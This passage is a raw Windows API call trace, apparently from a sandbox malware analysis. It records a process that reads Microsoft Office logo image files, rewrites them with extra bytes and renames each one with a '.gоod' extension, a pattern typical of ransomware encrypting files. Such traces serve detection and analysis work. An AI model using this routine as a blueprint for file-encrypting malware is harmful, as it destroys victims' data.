[0220.197] ReadFile (in: hFile=0x864, lpBuffer=0x3837eb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3837eb0*, lpNumberOfBytesRead=0x1fcee238*=0x79a, lpOverlapped=0x0) returned 1 [0220.199] CloseHandle (hObject=0x864) returned 1 [0220.228] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x61 [0220.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0220.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0220.229] GetFileType (hFile=0x864) returned 0x1 [0220.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0220.229] GetFileType (hFile=0x864) returned 0x1 [0220.229] WriteFile (in: hFile=0x864, lpBuffer=0x38b2968*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x38b2968*, lpNumberOfBytesWritten=0x1fcee148*=0x7a0, lpOverlapped=0x0) returned 1 [0220.230] CloseHandle (hObject=0x864) returned 1 [0220.230] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x61 [0220.230] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-80.png.gоod", lpFilePart=0x0) returned 0x66 [0220.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0220.230] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7f7bf1db, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7a0)) returned 1 [0220.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0220.231] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-80.png.gоod")) returned 1 [0220.231] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-100.png", lpFilePart=0x0) returned 0x53 [0220.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0220.231] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x38b3ca0 | out: lpFileInformation=0x38b3ca0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199ba9ea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe5e)) returned 1 [0220.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0220.232] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-100.png", lpFilePart=0x0) returned 0x53 [0220.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0220.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0220.232] GetFileType (hFile=0x864) returned 0x1 [0220.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0220.232] GetFileType (hFile=0x864) returned 0x1 [0220.232] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0xe5e [0220.232] ReadFile (in: hFile=0x864, lpBuffer=0x38b4e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x38b4e08*, lpNumberOfBytesRead=0x1fcee238*=0xe5e, lpOverlapped=0x0) returned 1 [0220.463] CloseHandle (hObject=0x864) returned 1 [0220.476] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-100.png", lpFilePart=0x0) returned 0x53 [0220.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0220.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0220.477] GetFileType (hFile=0x864) returned 0x1 [0220.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0220.477] GetFileType (hFile=0x864) returned 0x1 [0220.477] WriteFile (in: hFile=0x864, lpBuffer=0x377d990*, nNumberOfBytesToWrite=0xe60, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x377d990*, lpNumberOfBytesWritten=0x1fcee148*=0xe60, lpOverlapped=0x0) returned 1 [0220.478] CloseHandle (hObject=0x864) returned 1 [0220.478] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-100.png", lpFilePart=0x0) returned 0x53 [0220.478] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-100.png.gоod", lpFilePart=0x0) returned 0x58 [0220.478] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0220.478] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7f9fb4f3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe60)) returned 1 [0220.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0220.479] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-100.png.gоod")) returned 1 [0220.479] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png", lpFilePart=0x0) returned 0x53 [0220.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0220.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x377ec78 | out: lpFileInformation=0x377ec78*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199ba9ea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a7)) returned 1 [0220.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0220.480] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png", lpFilePart=0x0) returned 0x53 [0220.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0220.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-140.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0220.480] GetFileType (hFile=0x864) returned 0x1 [0220.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0220.480] GetFileType (hFile=0x864) returned 0x1 [0220.480] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0220.480] ReadFile (in: hFile=0x864, lpBuffer=0x377f0f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x377f0f0*, lpNumberOfBytesRead=0x1fcee2d8*=0x3a7, lpOverlapped=0x0) returned 1 [0220.481] CloseHandle (hObject=0x864) returned 1 [0220.481] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png", lpFilePart=0x0) returned 0x53 [0220.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0220.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-140.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0220.482] GetFileType (hFile=0x864) returned 0x1 [0220.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0220.482] GetFileType (hFile=0x864) returned 0x1 [0220.482] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x13a7 [0220.482] WriteFile (in: hFile=0x864, lpBuffer=0x37803b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x37803b8*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0220.482] CloseHandle (hObject=0x864) returned 1 [0220.482] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png", lpFilePart=0x0) returned 0x53 [0220.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0220.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-140.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0220.482] GetFileType (hFile=0x864) returned 0x1 [0220.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0220.482] GetFileType (hFile=0x864) returned 0x1 [0220.482] ReadFile (in: hFile=0x864, lpBuffer=0x37826a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x37826a8*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0220.494] CloseHandle (hObject=0x864) returned 1 [0220.494] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png", lpFilePart=0x0) returned 0x53 [0220.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0220.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-140.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0220.494] GetFileType (hFile=0x864) returned 0x1 [0220.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0220.494] GetFileType (hFile=0x864) returned 0x1 [0220.494] WriteFile (in: hFile=0x864, lpBuffer=0x37813d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x37813d0*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0220.495] CloseHandle (hObject=0x864) returned 1 [0220.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png", lpFilePart=0x0) returned 0x53 [0220.495] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png.gоod", lpFilePart=0x0) returned 0x58 [0220.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0220.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fa47ba3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13b7)) returned 1 [0220.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0220.495] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-140.png.gоod")) returned 1 [0220.496] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png", lpFilePart=0x0) returned 0x53 [0220.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0220.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x37ff300 | out: lpFileInformation=0x37ff300*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x199ba9ea, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1add)) returned 1 [0220.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0220.496] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png", lpFilePart=0x0) returned 0x53 [0220.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0220.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0220.496] GetFileType (hFile=0x864) returned 0x1 [0220.496] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0220.496] GetFileType (hFile=0x864) returned 0x1 [0220.496] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0220.497] ReadFile (in: hFile=0x864, lpBuffer=0x37ff778, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x37ff778*, lpNumberOfBytesRead=0x1fcee2d8*=0xadd, lpOverlapped=0x0) returned 1 [0220.498] CloseHandle (hObject=0x864) returned 1 [0220.498] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png", lpFilePart=0x0) returned 0x53 [0220.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0220.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0220.498] GetFileType (hFile=0x864) returned 0x1 [0220.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0220.498] GetFileType (hFile=0x864) returned 0x1 [0220.498] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1add [0220.498] WriteFile (in: hFile=0x864, lpBuffer=0x3800c00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x3800c00*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0220.498] CloseHandle (hObject=0x864) returned 1 [0220.499] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png", lpFilePart=0x0) returned 0x53 [0220.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0220.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0220.499] GetFileType (hFile=0x864) returned 0x1 [0220.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0220.499] GetFileType (hFile=0x864) returned 0x1 [0220.499] ReadFile (in: hFile=0x864, lpBuffer=0x3802ef0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3802ef0*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0220.733] CloseHandle (hObject=0x864) returned 1 [0220.733] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png", lpFilePart=0x0) returned 0x53 [0220.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0220.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0220.733] GetFileType (hFile=0x864) returned 0x1 [0220.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0220.733] GetFileType (hFile=0x864) returned 0x1 [0220.733] WriteFile (in: hFile=0x864, lpBuffer=0x3687060*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3687060*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0220.733] CloseHandle (hObject=0x864) returned 1 [0220.733] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png", lpFilePart=0x0) returned 0x53 [0220.733] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png.gоod", lpFilePart=0x0) returned 0x58 [0220.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0220.733] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x199947e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x199947e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fc83cff, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1aed)) returned 1 [0220.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0220.734] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png" (normalized: 